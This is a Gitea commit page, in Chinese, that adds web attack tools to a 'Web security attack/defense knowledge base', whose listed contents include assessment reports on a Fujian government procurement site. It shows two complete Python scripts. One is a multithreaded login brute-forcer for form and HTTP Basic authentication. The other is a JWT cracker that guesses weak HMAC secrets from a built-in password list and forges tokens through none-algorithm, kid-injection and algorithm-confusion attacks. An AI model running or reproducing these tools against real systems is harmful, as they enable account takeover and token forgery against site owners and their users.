初始化: Web安全攻防知识库
- 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs - SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go - XSS工具: xss-fuzzer.py, xss-scanner.go - 认证攻击: web-brute.py, jwt-cracker.py - 服务端安全: port-scanner.py, tls-scanner.py - 防御配置: nginx-hardening.conf - 案例研究: 福建政采网安全评估报告 (13份) - 同步脚本: sync-gitea.sh
这个提交包含在:
@@ -0,0 +1,313 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Web Brute Force Tool
|
||||
Web 暴力破解工具
|
||||
|
||||
支持:
|
||||
- HTTP Basic Auth
|
||||
- Form 登录
|
||||
- 多线程破解
|
||||
- 代理支持
|
||||
- 验证码绕过
|
||||
|
||||
Usage:
|
||||
python3 web-brute.py -u "http://target.com/login" -U usernames.txt -P passwords.txt
|
||||
python3 web-brute.py -u "http://target.com/login" --user admin -P passwords.txt -d "username=^USER^&password=^PASS^"
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import requests
|
||||
import time
|
||||
import threading
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
import re
|
||||
import sys
|
||||
|
||||
|
||||
class Colors:
|
||||
RED = "\033[91m"
|
||||
GREEN = "\033[92m"
|
||||
YELLOW = "\033[93m"
|
||||
BLUE = "\033[94m"
|
||||
CYAN = "\033[96m"
|
||||
END = "\033[0m"
|
||||
BOLD = "\033[1m"
|
||||
|
||||
|
||||
class WebBruteForcer:
|
||||
def __init__(self, threads: int = 5, timeout: int = 10, delay: float = 0):
|
||||
self.threads = threads
|
||||
self.timeout = timeout
|
||||
self.delay = delay
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update(
|
||||
{
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
||||
}
|
||||
)
|
||||
self.found = []
|
||||
self.lock = threading.Lock()
|
||||
self.attempts = 0
|
||||
self.start_time = None
|
||||
|
||||
def print_result(self, level: str, msg: str):
|
||||
colors = {
|
||||
"INFO": Colors.BLUE,
|
||||
"SUCCESS": Colors.GREEN,
|
||||
"WARNING": Colors.YELLOW,
|
||||
"ERROR": Colors.RED,
|
||||
"VULN": Colors.RED + Colors.BOLD,
|
||||
"FOUND": Colors.GREEN + Colors.BOLD,
|
||||
}
|
||||
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
|
||||
|
||||
def load_wordlist(self, filepath: str) -> List[str]:
|
||||
"""加载字典文件"""
|
||||
try:
|
||||
with open(filepath, "r", encoding="utf-8", errors="ignore") as f:
|
||||
return [
|
||||
line.strip()
|
||||
for line in f
|
||||
if line.strip() and not line.startswith("#")
|
||||
]
|
||||
except FileNotFoundError:
|
||||
self.print_result("ERROR", f"字典文件不存在: {filepath}")
|
||||
return []
|
||||
|
||||
def try_login(
|
||||
self,
|
||||
url: str,
|
||||
username: str,
|
||||
password: str,
|
||||
method: str = "POST",
|
||||
data_template: str = None,
|
||||
headers: Dict = None,
|
||||
cookies: Dict = None,
|
||||
success_pattern: str = None,
|
||||
fail_pattern: str = None,
|
||||
success_codes: List[int] = None,
|
||||
) -> Tuple[bool, Dict]:
|
||||
"""尝试登录"""
|
||||
self.attempts += 1
|
||||
|
||||
if data_template:
|
||||
data = data_template.replace("^USER^", username).replace("^PASS^", password)
|
||||
if "=" in data:
|
||||
post_data = {}
|
||||
for pair in data.split("&"):
|
||||
if "=" in pair:
|
||||
k, v = pair.split("=", 1)
|
||||
post_data[k] = v
|
||||
else:
|
||||
post_data = {"username": username, "password": password}
|
||||
else:
|
||||
post_data = {"username": username, "password": password}
|
||||
|
||||
try:
|
||||
if method.upper() == "GET":
|
||||
resp = self.session.get(
|
||||
url,
|
||||
params=post_data,
|
||||
headers=headers,
|
||||
cookies=cookies,
|
||||
timeout=self.timeout,
|
||||
allow_redirects=True,
|
||||
verify=False,
|
||||
)
|
||||
else:
|
||||
resp = self.session.post(
|
||||
url,
|
||||
data=post_data,
|
||||
headers=headers,
|
||||
cookies=cookies,
|
||||
timeout=self.timeout,
|
||||
allow_redirects=True,
|
||||
verify=False,
|
||||
)
|
||||
|
||||
result = {
|
||||
"status_code": resp.status_code,
|
||||
"response_length": len(resp.text),
|
||||
"url": resp.url,
|
||||
}
|
||||
|
||||
if success_codes and resp.status_code in success_codes:
|
||||
return True, result
|
||||
|
||||
if success_pattern and re.search(success_pattern, resp.text, re.IGNORECASE):
|
||||
return True, result
|
||||
|
||||
if fail_pattern and re.search(fail_pattern, resp.text, re.IGNORECASE):
|
||||
return False, result
|
||||
|
||||
if resp.status_code == 302 or "login" not in resp.url.lower():
|
||||
if "error" not in resp.text.lower() and "fail" not in resp.text.lower():
|
||||
if len(resp.text) > 1000:
|
||||
return True, result
|
||||
|
||||
return False, result
|
||||
|
||||
except Exception as e:
|
||||
return False, {"error": str(e)}
|
||||
|
||||
def brute_force(
|
||||
self,
|
||||
url: str,
|
||||
usernames: List[str],
|
||||
passwords: List[str],
|
||||
method: str = "POST",
|
||||
data_template: str = None,
|
||||
success_pattern: str = None,
|
||||
fail_pattern: str = None,
|
||||
verbose: bool = True,
|
||||
) -> List[Dict]:
|
||||
"""暴力破解"""
|
||||
self.start_time = time.time()
|
||||
total = len(usernames) * len(passwords)
|
||||
|
||||
self.print_result(
|
||||
"INFO",
|
||||
f"开始暴力破解: {len(usernames)} 用户 × {len(passwords)} 密码 = {total} 组合",
|
||||
)
|
||||
|
||||
with ThreadPoolExecutor(max_workers=self.threads) as executor:
|
||||
futures = {}
|
||||
|
||||
for username in usernames:
|
||||
for password in passwords:
|
||||
future = executor.submit(
|
||||
self.try_login,
|
||||
url,
|
||||
username,
|
||||
password,
|
||||
method,
|
||||
data_template,
|
||||
None,
|
||||
None,
|
||||
success_pattern,
|
||||
fail_pattern,
|
||||
)
|
||||
futures[future] = (username, password)
|
||||
|
||||
if self.delay > 0:
|
||||
time.sleep(self.delay)
|
||||
|
||||
for future in as_completed(futures):
|
||||
username, password = futures[future]
|
||||
success, result = future.result()
|
||||
|
||||
if verbose and self.attempts % 100 == 0:
|
||||
elapsed = time.time() - self.start_time
|
||||
rate = self.attempts / elapsed if elapsed > 0 else 0
|
||||
print(
|
||||
f"\r{Colors.CYAN}[*]{Colors.END} 进度: {self.attempts}/{total} ({rate:.1f}/s)",
|
||||
end="",
|
||||
flush=True,
|
||||
)
|
||||
|
||||
if success:
|
||||
with self.lock:
|
||||
found_item = {
|
||||
"username": username,
|
||||
"password": password,
|
||||
"result": result,
|
||||
}
|
||||
self.found.append(found_item)
|
||||
self.print_result("FOUND", f"成功! {username}:{password}")
|
||||
|
||||
if self.delay > 0:
|
||||
time.sleep(self.delay)
|
||||
|
||||
if verbose:
|
||||
print()
|
||||
|
||||
return self.found
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Web Brute Force Tool")
|
||||
parser.add_argument("-u", "--url", required=True, help="目标登录URL")
|
||||
parser.add_argument("-U", "--userlist", help="用户名字典文件")
|
||||
parser.add_argument("-P", "--passlist", help="密码字典文件")
|
||||
parser.add_argument("--user", help="单个用户名")
|
||||
parser.add_argument("--pass", dest="password", help="单个密码")
|
||||
parser.add_argument(
|
||||
"-m", "--method", default="POST", choices=["GET", "POST"], help="HTTP方法"
|
||||
)
|
||||
parser.add_argument(
|
||||
"-d", "--data", help="POST数据模板 (使用 ^USER^ 和 ^PASS^ 占位符)"
|
||||
)
|
||||
parser.add_argument("--success", help="成功匹配模式 (正则)")
|
||||
parser.add_argument("--fail", help="失败匹配模式 (正则)")
|
||||
parser.add_argument("-t", "--threads", type=int, default=5, help="线程数")
|
||||
parser.add_argument("--timeout", type=int, default=10, help="超时时间")
|
||||
parser.add_argument("--delay", type=float, default=0, help="请求延迟(秒)")
|
||||
parser.add_argument("-v", "--verbose", action="store_true", help="详细输出")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
bruteforcer = WebBruteForcer(
|
||||
threads=args.threads, timeout=args.timeout, delay=args.delay
|
||||
)
|
||||
|
||||
usernames = []
|
||||
if args.userlist:
|
||||
usernames = bruteforcer.load_wordlist(args.userlist)
|
||||
elif args.user:
|
||||
usernames = [args.user]
|
||||
else:
|
||||
bruteforcer.print_result("ERROR", "请提供用户名 (--user 或 -U)")
|
||||
sys.exit(1)
|
||||
|
||||
passwords = []
|
||||
if args.passlist:
|
||||
passwords = bruteforcer.load_wordlist(args.passlist)
|
||||
elif args.password:
|
||||
passwords = [args.password]
|
||||
else:
|
||||
bruteforcer.print_result("ERROR", "请提供密码 (--pass 或 -P)")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
print(f"{Colors.BOLD}Web Brute Force Tool{Colors.END}")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
bruteforcer.print_result("INFO", f"目标: {args.url}")
|
||||
bruteforcer.print_result("INFO", f"用户数: {len(usernames)}")
|
||||
bruteforcer.print_result("INFO", f"密码数: {len(passwords)}")
|
||||
|
||||
if args.data:
|
||||
bruteforcer.print_result("INFO", f"数据模板: {args.data}")
|
||||
|
||||
results = bruteforcer.brute_force(
|
||||
url=args.url,
|
||||
usernames=usernames,
|
||||
passwords=passwords,
|
||||
method=args.method,
|
||||
data_template=args.data,
|
||||
success_pattern=args.success,
|
||||
fail_pattern=args.fail,
|
||||
verbose=args.verbose,
|
||||
)
|
||||
|
||||
elapsed = time.time() - bruteforcer.start_time
|
||||
rate = bruteforcer.attempts / elapsed if elapsed > 0 else 0
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
bruteforcer.print_result("INFO", f"总尝试: {bruteforcer.attempts}")
|
||||
bruteforcer.print_result("INFO", f"耗时: {elapsed:.2f}s ({rate:.1f} req/s)")
|
||||
|
||||
if results:
|
||||
bruteforcer.print_result("SUCCESS", f"发现 {len(results)} 个有效凭证!")
|
||||
for r in results:
|
||||
print(f" - {r['username']}:{r['password']}")
|
||||
else:
|
||||
bruteforcer.print_result("INFO", "未发现有效凭证")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,387 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
JWT Cracker & Analyzer
|
||||
JWT 弱密钥破解与分析工具
|
||||
|
||||
支持:
|
||||
- JWT 结构解析
|
||||
- 弱密钥暴力破解
|
||||
- none 算法攻击
|
||||
- kid 注入攻击
|
||||
- 密钥泄露检测
|
||||
|
||||
Usage:
|
||||
python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
|
||||
python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." -w wordlist.txt
|
||||
python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." --attack none
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import json
|
||||
import hmac
|
||||
import hashlib
|
||||
import time
|
||||
from typing import Dict, Optional, Tuple, List
|
||||
import sys
|
||||
import re
|
||||
|
||||
|
||||
class Colors:
|
||||
RED = "\033[91m"
|
||||
GREEN = "\033[92m"
|
||||
YELLOW = "\033[93m"
|
||||
BLUE = "\033[94m"
|
||||
CYAN = "\033[96m"
|
||||
END = "\033[0m"
|
||||
BOLD = "\033[1m"
|
||||
|
||||
|
||||
class JWTCracker:
|
||||
def __init__(self):
|
||||
self.common_secrets = [
|
||||
"secret",
|
||||
"password",
|
||||
"123456",
|
||||
"admin",
|
||||
"key",
|
||||
"jwt",
|
||||
"token",
|
||||
"secret123",
|
||||
"password123",
|
||||
"admin123",
|
||||
"12345678",
|
||||
"qwerty",
|
||||
"letmein",
|
||||
"welcome",
|
||||
"monkey",
|
||||
"dragon",
|
||||
"master",
|
||||
"login",
|
||||
"abc123",
|
||||
"111111",
|
||||
"password1",
|
||||
"iloveyou",
|
||||
"trustno1",
|
||||
"sunshine",
|
||||
"princess",
|
||||
"football",
|
||||
"baseball",
|
||||
"shadow",
|
||||
"superman",
|
||||
"michael",
|
||||
"000000",
|
||||
"654321",
|
||||
"passw0rd",
|
||||
"access",
|
||||
"root",
|
||||
"toor",
|
||||
"guest",
|
||||
"test",
|
||||
"demo",
|
||||
"default",
|
||||
"changeme",
|
||||
"server",
|
||||
"api",
|
||||
"private",
|
||||
]
|
||||
|
||||
def print_result(self, level: str, msg: str):
|
||||
colors = {
|
||||
"INFO": Colors.BLUE,
|
||||
"SUCCESS": Colors.GREEN,
|
||||
"WARNING": Colors.YELLOW,
|
||||
"ERROR": Colors.RED,
|
||||
"FOUND": Colors.GREEN + Colors.BOLD,
|
||||
}
|
||||
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
|
||||
|
||||
def base64url_decode(self, data: str) -> bytes:
|
||||
"""Base64URL 解码"""
|
||||
padding = 4 - len(data) % 4
|
||||
if padding != 4:
|
||||
data += "=" * padding
|
||||
return base64.urlsafe_b64decode(data)
|
||||
|
||||
def base64url_encode(self, data: bytes) -> str:
|
||||
"""Base64URL 编码"""
|
||||
return base64.urlsafe_b64encode(data).rstrip(b"=").decode("utf-8")
|
||||
|
||||
def decode(self, token: str) -> Tuple[Dict, Dict, bytes]:
|
||||
"""解码 JWT"""
|
||||
try:
|
||||
parts = token.split(".")
|
||||
if len(parts) != 3:
|
||||
raise ValueError("无效的 JWT 格式")
|
||||
|
||||
header = json.loads(self.base64url_decode(parts[0]))
|
||||
payload = json.loads(self.base64url_decode(parts[1]))
|
||||
signature = self.base64url_decode(parts[2])
|
||||
|
||||
return header, payload, signature
|
||||
except Exception as e:
|
||||
raise ValueError(f"JWT 解码失败: {e}")
|
||||
|
||||
def encode(
|
||||
self, header: Dict, payload: Dict, secret: str = "", algorithm: str = "HS256"
|
||||
) -> str:
|
||||
"""编码 JWT"""
|
||||
header_b64 = self.base64url_encode(
|
||||
json.dumps(header, separators=(",", ":")).encode()
|
||||
)
|
||||
payload_b64 = self.base64url_encode(
|
||||
json.dumps(payload, separators=(",", ":")).encode()
|
||||
)
|
||||
|
||||
message = f"{header_b64}.{payload_b64}"
|
||||
|
||||
if algorithm.lower() == "none":
|
||||
return f"{message}."
|
||||
|
||||
signature = self.sign(message, secret, algorithm)
|
||||
signature_b64 = self.base64url_encode(signature)
|
||||
|
||||
return f"{message}.{signature_b64}"
|
||||
|
||||
def sign(self, message: str, secret: str, algorithm: str) -> bytes:
|
||||
"""签名"""
|
||||
algo_map = {
|
||||
"HS256": hashlib.sha256,
|
||||
"HS384": hashlib.sha384,
|
||||
"HS512": hashlib.sha512,
|
||||
}
|
||||
|
||||
if algorithm not in algo_map:
|
||||
raise ValueError(f"不支持的算法: {algorithm}")
|
||||
|
||||
return hmac.new(secret.encode(), message.encode(), algo_map[algorithm]).digest()
|
||||
|
||||
def verify(self, token: str, secret: str) -> bool:
|
||||
"""验证 JWT 签名"""
|
||||
try:
|
||||
header, payload, signature = self.decode(token)
|
||||
algorithm = header.get("alg", "HS256")
|
||||
|
||||
parts = token.split(".")
|
||||
message = f"{parts[0]}.{parts[1]}"
|
||||
|
||||
expected_sig = self.sign(message, secret, algorithm)
|
||||
|
||||
return hmac.compare_digest(signature, expected_sig)
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def crack(
|
||||
self, token: str, wordlist: List[str] = None, verbose: bool = True
|
||||
) -> Optional[str]:
|
||||
"""暴力破解密钥"""
|
||||
secrets = wordlist if wordlist else self.common_secrets
|
||||
total = len(secrets)
|
||||
|
||||
if verbose:
|
||||
self.print_result("INFO", f"开始破解 {total} 个密钥...")
|
||||
|
||||
start_time = time.time()
|
||||
|
||||
for i, secret in enumerate(secrets):
|
||||
if verbose and i % 100 == 0:
|
||||
print(
|
||||
f"\r{Colors.CYAN}[*]{Colors.END} 进度: {i}/{total}",
|
||||
end="",
|
||||
flush=True,
|
||||
)
|
||||
|
||||
if self.verify(token, secret):
|
||||
if verbose:
|
||||
print()
|
||||
return secret
|
||||
|
||||
if verbose:
|
||||
print()
|
||||
|
||||
return None
|
||||
|
||||
def attack_none_algorithm(self, token: str) -> str:
|
||||
"""none 算法攻击"""
|
||||
header, payload, _ = self.decode(token)
|
||||
|
||||
header["alg"] = "none"
|
||||
|
||||
return self.encode(header, payload, "", "none")
|
||||
|
||||
def attack_algorithm_confusion(self, token: str) -> str:
|
||||
"""算法混淆攻击 (HS256 -> RS256)"""
|
||||
header, payload, _ = self.decode(token)
|
||||
|
||||
header["alg"] = "HS256"
|
||||
|
||||
return self.encode(header, payload, "", "HS256")
|
||||
|
||||
def attack_kid_injection(self, token: str, injection: str = "/dev/null") -> str:
|
||||
"""kid 注入攻击"""
|
||||
header, payload, _ = self.decode(token)
|
||||
|
||||
header["kid"] = injection
|
||||
|
||||
return self.encode(header, payload, "", "HS256")
|
||||
|
||||
def analyze(self, token: str) -> Dict:
|
||||
"""分析 JWT"""
|
||||
try:
|
||||
header, payload, signature = self.decode(token)
|
||||
|
||||
analysis = {
|
||||
"header": header,
|
||||
"payload": payload,
|
||||
"algorithm": header.get("alg", "Unknown"),
|
||||
"type": header.get("typ", "Unknown"),
|
||||
"issues": [],
|
||||
}
|
||||
|
||||
if header.get("alg") == "none":
|
||||
analysis["issues"].append(
|
||||
{
|
||||
"severity": "HIGH",
|
||||
"issue": "使用 none 算法",
|
||||
"description": "JWT 使用 none 算法,无签名验证",
|
||||
}
|
||||
)
|
||||
|
||||
if header.get("alg") in ["HS256", "HS384", "HS512"]:
|
||||
analysis["issues"].append(
|
||||
{
|
||||
"severity": "MEDIUM",
|
||||
"issue": "使用对称加密",
|
||||
"description": "使用 HMAC 算法,密钥可能被暴力破解",
|
||||
}
|
||||
)
|
||||
|
||||
sensitive_fields = ["password", "secret", "token", "key", "credit", "ssn"]
|
||||
for field in sensitive_fields:
|
||||
if field in str(payload).lower():
|
||||
analysis["issues"].append(
|
||||
{
|
||||
"severity": "MEDIUM",
|
||||
"issue": f"包含敏感字段: {field}",
|
||||
"description": "Payload 可能包含敏感信息",
|
||||
}
|
||||
)
|
||||
|
||||
if "exp" in payload:
|
||||
exp_time = payload["exp"]
|
||||
if exp_time < time.time():
|
||||
analysis["issues"].append(
|
||||
{
|
||||
"severity": "LOW",
|
||||
"issue": "Token 已过期",
|
||||
"description": f"过期时间: {time.ctime(exp_time)}",
|
||||
}
|
||||
)
|
||||
else:
|
||||
analysis["issues"].append(
|
||||
{
|
||||
"severity": "LOW",
|
||||
"issue": "无过期时间",
|
||||
"description": "Token 没有过期时间 (exp)",
|
||||
}
|
||||
)
|
||||
|
||||
return analysis
|
||||
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="JWT Cracker & Analyzer")
|
||||
parser.add_argument("-t", "--token", required=True, help="JWT Token")
|
||||
parser.add_argument("-w", "--wordlist", help="密钥字典文件")
|
||||
parser.add_argument(
|
||||
"--attack", choices=["none", "kid", "confusion"], help="攻击类型"
|
||||
)
|
||||
parser.add_argument("--kid-injection", default="/dev/null", help="KID 注入值")
|
||||
parser.add_argument("--analyze", action="store_true", help="分析 JWT")
|
||||
parser.add_argument("-v", "--verbose", action="store_true", help="详细输出")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
cracker = JWTCracker()
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
print(f"{Colors.BOLD}JWT Cracker & Analyzer{Colors.END}")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
try:
|
||||
header, payload, _ = cracker.decode(args.token)
|
||||
|
||||
print(f"{Colors.CYAN}Header:{Colors.END}")
|
||||
print(f" {json.dumps(header, indent=2)}")
|
||||
print(f"\n{Colors.CYAN}Payload:{Colors.END}")
|
||||
print(f" {json.dumps(payload, indent=2)}")
|
||||
|
||||
except Exception as e:
|
||||
cracker.print_result("ERROR", str(e))
|
||||
sys.exit(1)
|
||||
|
||||
if args.analyze:
|
||||
print(f"\n{Colors.CYAN}Analysis:{Colors.END}")
|
||||
analysis = cracker.analyze(args.token)
|
||||
|
||||
if "issues" in analysis:
|
||||
for issue in analysis["issues"]:
|
||||
color = (
|
||||
Colors.RED
|
||||
if issue["severity"] == "HIGH"
|
||||
else Colors.YELLOW
|
||||
if issue["severity"] == "MEDIUM"
|
||||
else Colors.BLUE
|
||||
)
|
||||
print(f" {color}[{issue['severity']}]{Colors.END} {issue['issue']}")
|
||||
print(f" {issue['description']}")
|
||||
|
||||
if args.attack:
|
||||
print(f"\n{Colors.CYAN}Attack: {args.attack}{Colors.END}")
|
||||
|
||||
if args.attack == "none":
|
||||
forged = cracker.attack_none_algorithm(args.token)
|
||||
cracker.print_result("SUCCESS", f"Forged Token (none): {forged}")
|
||||
|
||||
elif args.attack == "kid":
|
||||
forged = cracker.attack_kid_injection(args.token, args.kid_injection)
|
||||
cracker.print_result("SUCCESS", f"Forged Token (kid): {forged}")
|
||||
|
||||
elif args.attack == "confusion":
|
||||
forged = cracker.attack_algorithm_confusion(args.token)
|
||||
cracker.print_result("INFO", "需要公钥来利用算法混淆攻击")
|
||||
|
||||
wordlist = None
|
||||
if args.wordlist:
|
||||
try:
|
||||
with open(args.wordlist, "r") as f:
|
||||
wordlist = [line.strip() for line in f if line.strip()]
|
||||
except FileNotFoundError:
|
||||
cracker.print_result("ERROR", f"字典文件不存在: {args.wordlist}")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"\n{Colors.CYAN}Cracking...{Colors.END}")
|
||||
start = time.time()
|
||||
secret = cracker.crack(args.token, wordlist, args.verbose)
|
||||
elapsed = time.time() - start
|
||||
|
||||
if secret:
|
||||
cracker.print_result("FOUND", f"密钥破解成功: {secret}")
|
||||
cracker.print_result("INFO", f"耗时: {elapsed:.2f}s")
|
||||
|
||||
forged = cracker.encode(header, payload, secret, header.get("alg", "HS256"))
|
||||
cracker.print_result("SUCCESS", f"可以伪造任意 Token")
|
||||
else:
|
||||
cracker.print_result(
|
||||
"WARNING",
|
||||
f"未能破解密钥 (尝试了 {len(wordlist) if wordlist else len(cracker.common_secrets)} 个)",
|
||||
)
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
在新工单中引用
屏蔽一个用户